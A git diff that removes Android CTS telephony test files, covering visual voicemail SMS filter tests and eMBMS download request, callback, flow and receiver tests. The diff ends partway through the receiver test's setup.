-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        if (!hasDataSms()) {
-            Log.d(TAG, "skipping test that requires data SMS feature");
-            return;
-        }
-
-        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
-                .setClientPrefix("//CTSVVM")
-                .setDestinationPort(1001)
-                .build();
-        getSmsFromData(settings, (short) 1000,
-                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", false);
-    }
-
-    public void testFilter_port_anydata() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        if (!hasDataSms()) {
-            Log.d(TAG, "skipping test that requires data SMS feature");
-            return;
-        }
-
-        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
-                .setClientPrefix("//CTSVVM")
-                .setDestinationPort(VisualVoicemailSmsFilterSettings.DESTINATION_PORT_DATA_SMS)
-                .build();
-        getSmsFromData(settings, (short) 1000,
-                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", true);
-    }
-
-    /**
-     * Text SMS should not be filtered with DESTINATION_PORT_DATA_SMS
-     */
-    public void testFilter_port_anydata_notData() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        if (!hasDataSms()) {
-            Log.d(TAG, "skipping test that requires data SMS feature");
-            return;
-        }
-
-        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
-                .setClientPrefix("//CTSVVM")
-                .setDestinationPort(VisualVoicemailSmsFilterSettings.DESTINATION_PORT_DATA_SMS)
-                .build();
-        getSmsFromText(settings,
-                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", false);
-    }
-
-    public void testGetVisualVoicemailPackageName_isSelf() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        assertEquals(PACKAGE, mTelephonyManager.getVisualVoicemailPackageName());
-    }
-
-    private VisualVoicemailSms getSmsFromText(String clientPrefix, String text) {
-        return getSmsFromText(clientPrefix, text, true);
-    }
-
-    @Nullable
-    private VisualVoicemailSms getSmsFromText(String clientPrefix, String text,
-            boolean expectVvmSms) {
-        return getSmsFromText(
-                new VisualVoicemailSmsFilterSettings.Builder()
-                        .setClientPrefix(clientPrefix)
-                        .build(),
-                text,
-                expectVvmSms);
-    }
-
-    private void assertVisualVoicemailSmsNotReceived(String clientPrefix, String text) {
-        getSmsFromText(clientPrefix, text, false);
-    }
-
-    /**
-     * Setup the SMS filter with only the {@code clientPrefix}, and sends {@code text} to the
-     * device. The SMS sent should not be written to the SMS provider. <p> If {@code expectVvmSms}
-     * is {@code true}, the SMS should be be caught by the SMS filter. The user should not receive
-     * the text, and the parsed result will be returned.* <p> If {@code expectVvmSms} is {@code
-     * false}, the SMS should pass through the SMS filter. The user should receive the text, and
-     * {@code null} be returned.
-     */
-    @Nullable
-    private VisualVoicemailSms getSmsFromText(VisualVoicemailSmsFilterSettings settings,
-            String text,
-            boolean expectVvmSms) {
-
-        mTelephonyManager.setVisualVoicemailSmsFilterSettings(settings);
-
-        CompletableFuture<VisualVoicemailSms> future = new CompletableFuture<>();
-        MockVisualVoicemailService.setSmsFuture(future);
-
-        setupSmsReceiver(text);
-        try (SentSmsObserver observer = new SentSmsObserver(mContext, text)) {
-            mTelephonyManager
-                    .sendVisualVoicemailSms(mPhoneNumber,0, text, null);
-
-            if (expectVvmSms) {
-                VisualVoicemailSms sms;
-                try {
-                    sms = future.get(EVENT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-                } catch (InterruptedException | ExecutionException | TimeoutException e) {
-                    throw new RuntimeException(e);
-                }
-                mSmsReceiver.assertNotReceived(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS);
-                observer.assertNotChanged();
-                return sms;
-            } else {
-                mSmsReceiver.assertReceived(EVENT_RECEIVED_TIMEOUT_MILLIS);
-                try {
-                    future.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-                    throw new RuntimeException("Unexpected visual voicemail SMS received");
-                } catch (TimeoutException e) {
-                    // expected
-                    return null;
-                } catch (ExecutionException | InterruptedException e) {
-                    throw new RuntimeException(e);
-                }
-            }
-        }
-    }
-
-    @Nullable
-    private VisualVoicemailSms getSmsFromData(VisualVoicemailSmsFilterSettings settings, short port,
-            String text, boolean expectVvmSms) {
-
-        mTelephonyManager.setVisualVoicemailSmsFilterSettings(settings);
-
-        CompletableFuture<VisualVoicemailSms> future = new CompletableFuture<>();
-        MockVisualVoicemailService.setSmsFuture(future);
-
-        setupSmsReceiver(text);
-        mTelephonyManager.sendVisualVoicemailSms(mPhoneNumber, port, text, null);
-
-        if (expectVvmSms) {
-            VisualVoicemailSms sms;
-            try {
-                sms = future.get(EVENT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException | ExecutionException | TimeoutException e) {
-                throw new RuntimeException(e);
-            }
-            mSmsReceiver.assertNotReceived(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS);
-            return sms;
-        } else {
-            mSmsReceiver.assertReceived(EVENT_RECEIVED_TIMEOUT_MILLIS);
-            try {
-                future.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-                throw new RuntimeException("Unexpected visual voicemail SMS received");
-            } catch (TimeoutException e) {
-                // expected
-                return null;
-            } catch (ExecutionException | InterruptedException e) {
-                throw new RuntimeException(e);
-            }
-        }
-    }
-
-    private void setupSmsReceiver(String text) {
-        mSmsReceiver = new SmsBroadcastReceiver(text);
-        mContext.registerReceiver(mSmsReceiver, new IntentFilter(Intents.SMS_RECEIVED_ACTION));
-        IntentFilter dataFilter = new IntentFilter(Intents.DATA_SMS_RECEIVED_ACTION);
-        dataFilter.addDataScheme("sms");
-        mContext.registerReceiver(mSmsReceiver, dataFilter);
-    }
-
-    private static class SmsBroadcastReceiver extends BroadcastReceiver {
-
-        private final String mText;
-
-        private CompletableFuture<Boolean> mFuture = new CompletableFuture<>();
-
-        public SmsBroadcastReceiver(String text) {
-            mText = text;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            SmsMessage[] messages = Sms.Intents.getMessagesFromIntent(intent);
-            StringBuilder messageBody = new StringBuilder();
-            CharsetDecoder decoder = StandardCharsets.UTF_8.newDecoder();
-            for (SmsMessage message : messages) {
-                if (message.getMessageBody() != null) {
-                    messageBody.append(message.getMessageBody());
-                } else if (message.getUserData() != null) {
-                    ByteBuffer byteBuffer = ByteBuffer.wrap(message.getUserData());
-                    try {
-                        messageBody.append(decoder.decode(byteBuffer).toString());
-                    } catch (CharacterCodingException e) {
-                        return;
-                    }
-                }
-            }
-            if (!TextUtils.equals(mText, messageBody.toString())) {
-                return;
-            }
-            mFuture.complete(true);
-        }
-
-        public void assertReceived(long timeoutMillis) {
-            try {
-                mFuture.get(timeoutMillis, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException | ExecutionException | TimeoutException e) {
-                throw new RuntimeException(e);
-            }
-        }
-
-        public void assertNotReceived(long timeoutMillis) {
-            try {
-                mFuture.get(timeoutMillis, TimeUnit.MILLISECONDS);
-                throw new RuntimeException("Unexpected SMS received");
-            } catch (TimeoutException e) {
-                // expected
-            } catch (InterruptedException | ExecutionException e) {
-                throw new RuntimeException(e);
-            }
-        }
-    }
-
-    private static class SentSmsObserver extends ContentObserver implements AutoCloseable {
-
-        private final Context mContext;
-        private final String mText;
-
-        public CompletableFuture<Boolean> mFuture = new CompletableFuture<>();
-
-        public SentSmsObserver(Context context, String text) {
-            super(new Handler(Looper.getMainLooper()));
-            mContext = context;
-            mText = text;
-            mContext.getContentResolver().registerContentObserver(Sms.CONTENT_URI, true, this);
-        }
-
-        public void assertNotChanged() {
-            try {
-                mFuture.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-                fail("Visual voicemail SMS should not be added into the sent SMS");
-            } catch (TimeoutException e) {
-                // expected
-            } catch (ExecutionException | InterruptedException e) {
-                throw new RuntimeException(e);
-            }
-
-        }
-
-        @Override
-        public void onChange(boolean selfChange, Uri uri) {
-            try (Cursor cursor = mContext.getContentResolver()
-                    .query(uri, new String[] {Sms.TYPE, Sms.BODY}, null, null, null)) {
-                if (cursor == null){
-                    return;
-                }
-                if (!cursor.moveToFirst()){
-                    return;
-                }
-                if (cursor.getInt(0) == Sms.MESSAGE_TYPE_SENT && TextUtils
-                        .equals(cursor.getString(1), mText)) {
-                    mFuture.complete(true);
-                }
-            } catch (SQLiteException e) {
-
-            }
-        }
-
-        @Override
-        public void close() {
-            mContext.getContentResolver().unregisterContentObserver(this);
-        }
-    }
-
-    private static boolean hasTelephony(Context context) {
-        final PackageManager packageManager = context.getPackageManager();
-        return packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) &&
-                packageManager.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE);
-    }
-
-    private boolean hasDataSms() {
-        if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
-            return false;
-        }
-        String mccmnc = mTelephonyManager.getSimOperator();
-        return !CarrierCapability.UNSUPPORT_DATA_SMS_MESSAGES.contains(mccmnc);
-    }
-
-    private static String setDefaultDialer(Instrumentation instrumentation, String packageName)
-            throws Exception {
-        return executeShellCommand(instrumentation, COMMAND_SET_DEFAULT_DIALER + packageName);
-    }
-
-    private static String getDefaultDialer(Instrumentation instrumentation) throws Exception {
-        return executeShellCommand(instrumentation, COMMAND_GET_DEFAULT_DIALER);
-    }
-
-    /**
-     * Executes the given shell command and returns the output in a string. Note that even if we
-     * don't care about the output, we have to read the stream completely to make the command
-     * execute.
-     */
-    private static String executeShellCommand(Instrumentation instrumentation,
-            String command) throws Exception {
-        final ParcelFileDescriptor parcelFileDescriptor =
-                instrumentation.getUiAutomation().executeShellCommand(command);
-        BufferedReader bufferedReader = null;
-        try (InputStream in = new FileInputStream(parcelFileDescriptor.getFileDescriptor())) {
-            bufferedReader = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
-            String string = null;
-            StringBuilder out = new StringBuilder();
-            while ((string = bufferedReader.readLine()) != null) {
-                out.append(string);
-            }
-            return out.toString();
-        } finally {
-            if (bufferedReader != null) {
-                closeQuietly(bufferedReader);
-            }
-            closeQuietly(parcelFileDescriptor);
-        }
-    }
-
-    private static void closeQuietly(AutoCloseable closeable) {
-        if (closeable != null) {
-            try {
-                closeable.close();
-            } catch (RuntimeException rethrown) {
-                throw rethrown;
-            } catch (Exception ignored) {
-            }
-        }
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/DownloadRequestTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/DownloadRequestTest.java
deleted file mode 100644
index 436cc44..0000000
--- a/tests/tests/telephony/src/android/telephony/embms/cts/DownloadRequestTest.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.telephony.embms.cts;
-
-import android.net.Uri;
-import android.telephony.cts.embmstestapp.CtsDownloadService;
-import android.telephony.mbms.DownloadRequest;
-import android.test.InstrumentationTestCase;
-
-import java.io.File;
-
-public class DownloadRequestTest extends InstrumentationTestCase {
-    public void testGetMaxAppIntentSize() {
-        // Test that the max intent size is positive
-        assertTrue(DownloadRequest.getMaxAppIntentSize() > 0);
-    }
-
-    public void testGetMaxDestinationUriSize() {
-        // Test that the max intent size is positive
-        assertTrue(DownloadRequest.getMaxDestinationUriSize() > 0);
-    }
-
-    public void testBuilderConstruction() {
-        File destinationDirectory = new File(getInstrumentation().getContext().getFilesDir(),
-                "downloads");
-        Uri destinationDirectoryUri = Uri.fromFile(destinationDirectory);
-        DownloadRequest.Builder builder = new DownloadRequest.Builder(
-                CtsDownloadService.SOURCE_URI_1, destinationDirectoryUri)
-                .setSubscriptionId(-1)
-                .setServiceInfo(CtsDownloadService.FILE_SERVICE_INFO);
-        DownloadRequest request = builder.build();
-        assertEquals(request, DownloadRequest.Builder.fromDownloadRequest(request).build());
-    }
-
-    public void testServiceIdEquivalency() {
-        File destinationDirectory = new File(getInstrumentation().getContext().getFilesDir(),
-                "downloads");
-        Uri destinationDirectoryUri = Uri.fromFile(destinationDirectory);
-        DownloadRequest request1 = new DownloadRequest.Builder(
-                CtsDownloadService.SOURCE_URI_1, destinationDirectoryUri)
-                .setSubscriptionId(-1)
-                .setServiceInfo(CtsDownloadService.FILE_SERVICE_INFO)
-                .build();
-
-        DownloadRequest request2 = new DownloadRequest.Builder(
-                CtsDownloadService.SOURCE_URI_1, destinationDirectoryUri)
-                .setSubscriptionId(-1)
-                .setServiceId(CtsDownloadService.FILE_SERVICE_INFO.getServiceId())
-                .build();
-
-        assertEquals(request1, request2);
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadCallbackTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadCallbackTest.java
deleted file mode 100644
index 430d191..0000000
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadCallbackTest.java
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.telephony.embms.cts;
-
-import android.telephony.MbmsDownloadSession;
-import android.telephony.cts.embmstestapp.CtsDownloadService;
-import android.telephony.mbms.DownloadProgressListener;
-import android.telephony.mbms.DownloadRequest;
-import android.telephony.mbms.DownloadStatusListener;
-import android.telephony.mbms.FileInfo;
-
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-public class MbmsDownloadCallbackTest extends MbmsDownloadTestBase {
-    private static final long SHORT_TIMEOUT = 500;
-
-    private class TestDSCallback extends DownloadStatusListener {
-        private final BlockingQueue<SomeArgs> mCalls = new LinkedBlockingQueue<>();
-
-        @Override
-        public void onStatusUpdated(DownloadRequest request, FileInfo fileInfo,
-                @MbmsDownloadSession.DownloadStatus int state) {
-            SomeArgs args = SomeArgs.obtain();
-            args.arg1 = request;
-            args.arg2 = fileInfo;
-            args.arg3 = state;
-            mCalls.add(args);
-        }
-
-        public SomeArgs waitOnStatusUpdated(long timeout) {
-            try {
-                return mCalls.poll(timeout, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return null;
-            }
-        }
-    }
-
-    private class TestDPCallback extends DownloadProgressListener {
-        private final BlockingQueue<SomeArgs> mProgressUpdatedCalls = new LinkedBlockingQueue<>();
-
-        @Override
-        public void onProgressUpdated(DownloadRequest request, FileInfo fileInfo, int
-                currentDownloadSize, int fullDownloadSize, int currentDecodedSize, int
-                fullDecodedSize) {
-            SomeArgs args = SomeArgs.obtain();
-            args.arg1 = request;
-            args.arg2 = fileInfo;
-            args.arg3 = currentDownloadSize;
-            args.arg4 = fullDownloadSize;
-            args.arg5 = currentDecodedSize;
-            args.arg6 = fullDecodedSize;
-            mProgressUpdatedCalls.add(args);
-        }
-
-        public SomeArgs waitOnProgressUpdated(long timeout) {
-            try {
-                return mProgressUpdatedCalls.poll(timeout, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return null;
-            }
-        }
-    }
-
-    public void testFullCallback() throws Exception {
-        int sampleInt = 10;
-        TestDSCallback statusCallback = new TestDSCallback();
-        TestDPCallback progressCallback = new TestDPCallback();
-        DownloadRequest request = downloadRequestTemplate.build();
-        mDownloadSession.addStatusListener(request, mCallbackExecutor, statusCallback);
-        mDownloadSession.addProgressListener(request, mCallbackExecutor, progressCallback);
-        mMiddlewareControl.fireOnProgressUpdated(request, CtsDownloadService.FILE_INFO_1,
-                sampleInt, sampleInt, sampleInt, sampleInt);
-        SomeArgs progressArgs = progressCallback.waitOnProgressUpdated(ASYNC_TIMEOUT);
-        assertEquals(request, progressArgs.arg1);
-        assertEquals(CtsDownloadService.FILE_INFO_1, progressArgs.arg2);
-        assertEquals(sampleInt, progressArgs.arg3);
-        assertEquals(sampleInt, progressArgs.arg4);
-        assertEquals(sampleInt, progressArgs.arg5);
-        assertEquals(sampleInt, progressArgs.arg6);
-
-        mMiddlewareControl.fireOnStateUpdated(request, CtsDownloadService.FILE_INFO_1, sampleInt);
-        SomeArgs stateArgs = statusCallback.waitOnStatusUpdated(ASYNC_TIMEOUT);
-        assertEquals(request, stateArgs.arg1);
-        assertEquals(CtsDownloadService.FILE_INFO_1, stateArgs.arg2);
-        assertEquals(sampleInt, stateArgs.arg3);
-    }
-
-    public void testDeregistration() throws Exception {
-        TestDSCallback statusCallback = new TestDSCallback();
-        TestDPCallback progressCallback = new TestDPCallback();
-        DownloadRequest request = downloadRequestTemplate.build();
-        mDownloadSession.addProgressListener(request, mCallbackExecutor, progressCallback);
-        mDownloadSession.addStatusListener(request, mCallbackExecutor, statusCallback);
-        mDownloadSession.removeProgressListener(request, progressCallback);
-        mDownloadSession.removeStatusListener(request, statusCallback);
-
-        mMiddlewareControl.fireOnStateUpdated(null, null, 0);
-        assertNull(statusCallback.waitOnStatusUpdated(SHORT_TIMEOUT));
-        mMiddlewareControl.fireOnProgressUpdated(null, null, 0, 0, 0, 0);
-        assertNull(progressCallback.waitOnProgressUpdated(SHORT_TIMEOUT));
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadFlowTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadFlowTest.java
deleted file mode 100644
index f28f59d..0000000
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadFlowTest.java
+++ /dev/null
@@ -1,170 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.telephony.embms.cts;
-
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.telephony.MbmsDownloadSession;
-import android.telephony.cts.embmstestapp.CtsDownloadService;
-import android.telephony.mbms.DownloadRequest;
-import android.telephony.mbms.FileInfo;
-import android.telephony.mbms.MbmsDownloadReceiver;
-
-import java.io.File;
-import java.io.InputStream;
-import java.util.Collections;
-import java.util.List;
-
-public class MbmsDownloadFlowTest extends MbmsDownloadTestBase {
-    private File tempFileRootDir;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        tempFileRootDir = new File(mContext.getFilesDir(), "CtsTestDir");
-        tempFileRootDir.mkdir();
-        mDownloadSession.setTempFileRootDirectory(tempFileRootDir);
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        recursiveDelete(tempFileRootDir);
-        tempFileRootDir = null;
-        super.tearDown();
-    }
-
-    public void testSingleFileDownloadFlow() throws Exception {
-        MbmsDownloadReceiverTest.AppIntentCapture captor =
-                new MbmsDownloadReceiverTest.AppIntentCapture(mContext, mHandler);
-        DownloadRequest request = downloadRequestTemplate
-                .setAppIntent(new Intent(MbmsDownloadReceiverTest.APP_INTENT_ACTION))
-                .build();
-        mDownloadSession.download(request);
-        mMiddlewareControl.actuallyStartDownloadFlow();
-
-        Uri fileUri = checkReceivedDownloadCompleteIntent(captor.getIntent(), request,
-                CtsDownloadService.FILE_INFO_1);
-        checkFileContentIntegrity(CtsDownloadService.FILE_INFO_1, fileUri);
-        checkDownloadResultAck(1);
-    }
-
-    public void testFileInSubdirectoryDownloadFlow() throws Exception {
-        MbmsDownloadReceiverTest.AppIntentCapture captor =
-                new MbmsDownloadReceiverTest.AppIntentCapture(mContext, mHandler);
-        DownloadRequest request = new DownloadRequest.Builder(
-                CtsDownloadService.SOURCE_URI_2, destinationDirectoryUri)
-                .setServiceInfo(CtsDownloadService.FILE_SERVICE_INFO)
-                .setAppIntent(new Intent(MbmsDownloadReceiverTest.APP_INTENT_ACTION))
-                .build();
-
-        mDownloadSession.download(request);
-        mMiddlewareControl.actuallyStartDownloadFlow();
-
-        Uri fileUri = checkReceivedDownloadCompleteIntent(captor.getIntent(), request,
-                CtsDownloadService.FILE_INFO_2);
-        // Make sure that the received file is placed in the proper subdirectory.
-        String file2RelativePath = CtsDownloadService.FILE_INFO_2.getUri().getPath().substring(
-                CtsDownloadService.SOURCE_URI_2.getPath().length());
-        assertTrue("got path: " + fileUri.getPath() + ", should end with: " + file2RelativePath,
-                fileUri.getPath().endsWith(file2RelativePath));
-        checkFileContentIntegrity(CtsDownloadService.FILE_INFO_2, fileUri);
-        checkDownloadResultAck(1);
-    }
-
-    public void testMultiFileDownloadFlow() throws Exception {
-        MbmsDownloadReceiverTest.AppIntentCapture captor =
-                new MbmsDownloadReceiverTest.AppIntentCapture(mContext, mHandler);
-        DownloadRequest request = new DownloadRequest.Builder(
-                CtsDownloadService.SOURCE_URI_3, destinationDirectoryUri)
-                .setServiceInfo(CtsDownloadService.FILE_SERVICE_INFO)
-                .setAppIntent(new Intent(MbmsDownloadReceiverTest.APP_INTENT_ACTION))
-                .build();
-
-        mDownloadSession.download(request);
-        mMiddlewareControl.actuallyStartDownloadFlow();
-
-        for (Intent i : captor.getIntents(2)) {
-            FileInfo fileInfo = i.getParcelableExtra(MbmsDownloadSession.EXTRA_MBMS_FILE_INFO);
-            Uri fileUri = null;
-            if (CtsDownloadService.FILE_INFO_1.equals(fileInfo)) {
-                fileUri = checkReceivedDownloadCompleteIntent(
-                        i, request, CtsDownloadService.FILE_INFO_1);
-            } else if (CtsDownloadService.FILE_INFO_2.equals(fileInfo)) {
-                fileUri = checkReceivedDownloadCompleteIntent(
-                        i, request, CtsDownloadService.FILE_INFO_2);
-            } else {
-                fail("Got unknown file info: " + fileInfo);
-            }
-            String relativePath = fileInfo.getUri().getPath().substring(
-                    CtsDownloadService.SOURCE_URI_3.getPath().length());
-            assertTrue("got path: " + fileUri.getPath() + ", should end with: " + relativePath,
-                    fileUri.getPath().endsWith(relativePath));
-            checkFileContentIntegrity(fileInfo, fileUri);
-        }
-        checkDownloadResultAck(2);
-    }
-
-
-    private Uri checkReceivedDownloadCompleteIntent(Intent downloadDoneIntent,
-            DownloadRequest downloadRequest, FileInfo expectedFileInfo) {
-        assertEquals(MbmsDownloadReceiverTest.APP_INTENT_ACTION, downloadDoneIntent.getAction());
-        assertEquals(MbmsDownloadSession.RESULT_SUCCESSFUL,
-                downloadDoneIntent.getIntExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_RESULT, -1));
-        assertEquals(downloadRequest,
-                downloadDoneIntent.getParcelableExtra(
-                        MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST));
-        assertEquals(downloadRequest.getSubscriptionId(),
-                ((DownloadRequest) downloadDoneIntent.getParcelableExtra(
-                        MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST)).getSubscriptionId());
-        assertEquals(downloadRequest.getDestinationUri(),
-                ((DownloadRequest) downloadDoneIntent.getParcelableExtra(
-                        MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST)).getDestinationUri());
-        assertEquals(expectedFileInfo,
-                downloadDoneIntent.getParcelableExtra(MbmsDownloadSession.EXTRA_MBMS_FILE_INFO));
-        return downloadDoneIntent.getParcelableExtra(
-                MbmsDownloadSession.EXTRA_MBMS_COMPLETED_FILE_URI);
-    }
-
-    private void checkFileContentIntegrity(FileInfo fileInfo, Uri completedFileUri)
-            throws Exception {
-        assertEquals(fileInfo.getUri().getLastPathSegment(),
-                completedFileUri.getLastPathSegment());
-        InputStream is = mContext.getContentResolver().openInputStream(completedFileUri);
-        byte[] contents = new byte[CtsDownloadService.SAMPLE_FILE_DATA.length];
-        is.read(contents);
-        for (int i = 0; i < contents.length; i++) {
-            assertEquals(contents[i], CtsDownloadService.SAMPLE_FILE_DATA[i]);
-        }
-    }
-
-    private void checkDownloadResultAck(int numAcks) throws Exception {
-        // Poll until we get to the right number.
-        List<Bundle> downloadResultAck = Collections.emptyList();
-        long currentTime = System.currentTimeMillis();
-        while (System.currentTimeMillis() < currentTime + ASYNC_TIMEOUT) {
-            downloadResultAck = getMiddlewareCalls(CtsDownloadService.METHOD_DOWNLOAD_RESULT_ACK);
-            if (numAcks == downloadResultAck.size()) {
-                break;
-            }
-            Thread.sleep(200);
-        }
-        assertEquals(numAcks, downloadResultAck.size());
-        downloadResultAck.forEach((ack) -> assertEquals(MbmsDownloadReceiver.RESULT_OK,
-                ack.getInt(CtsDownloadService.ARGUMENT_RESULT_CODE, -1)));
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java
deleted file mode 100644
index 59d9a1b..0000000
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java
+++ /dev/null
@@ -1,288 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.telephony.embms.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Handler;
-import android.telephony.MbmsDownloadSession;
-import android.telephony.cts.embmstestapp.CtsDownloadService;
-import android.telephony.mbms.DownloadRequest;
-import android.telephony.mbms.MbmsDownloadReceiver;
-import android.telephony.mbms.UriPathPair;
-import android.telephony.mbms.vendor.VendorUtils;
-
-import java.io.File;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Objects;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-import java.util.stream.Collectors;
-
-public class MbmsDownloadReceiverTest extends MbmsDownloadTestBase {
-    private static final String CTS_BROADCAST_PERMISSION =
-            "android.telephony.embms.cts.permission.TEST_BROADCAST";
-    private static final String TEST_SERVICE_ID = "service_id";
-
-    public static final String APP_INTENT_ACTION =
-            "android.telephony.embms.cts.ACTION_TEST_DOWNLOAD_COMPLETE";
-
-    public static class AppIntentCapture {
-        private final BlockingQueue<Intent> mReceivedIntent = new LinkedBlockingQueue<>();
-        private final BroadcastReceiver mAppIntentReceiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                mReceivedIntent.add(intent);
-            }
-        };
-        private Context mContext;
-
-        public AppIntentCapture(Context context, Handler handler) {
-            mContext = context;
-            IntentFilter filter = new IntentFilter(APP_INTENT_ACTION);
-            mContext.registerReceiver(mAppIntentReceiver, filter, null, handler);
-        }
-
-        public Intent getIntent() {
-            return getIntent(true);
-        }
-
-        public Intent getIntent(boolean unregister) {
-            try {
-                Intent result = mReceivedIntent.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-                if (unregister) {
-                    mContext.unregisterReceiver(mAppIntentReceiver);
-                }
-                return result;
-            } catch (InterruptedException e) {
-                fail("test was interrupted");
-                return null;
-            }
-        }
-
-        public List<Intent> getIntents(int numExpected) {
-            ArrayList<Intent> result = new ArrayList<>(numExpected);
-            for (int i = 0; i < numExpected; i++) {
-                result.add(getIntent(false));
-            }
-            mContext.unregisterReceiver(mAppIntentReceiver);
-            return result;
-        }
-    }
-
-    private MbmsDownloadReceiver mReceiver;
-    private File tempFileRootDir;
-    private String tempFileRootDirPath;
-    private DownloadRequest testDownloadRequest;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        testDownloadRequest = downloadRequestTemplate
-                .setAppIntent(new Intent(APP_INTENT_ACTION))
-                .build();
-        mReceiver = new MbmsDownloadReceiver();
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(VendorUtils.ACTION_DOWNLOAD_RESULT_INTERNAL);
-        filter.addAction(VendorUtils.ACTION_CLEANUP);
-        filter.addAction(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
-        mContext.registerReceiver(mReceiver, filter);
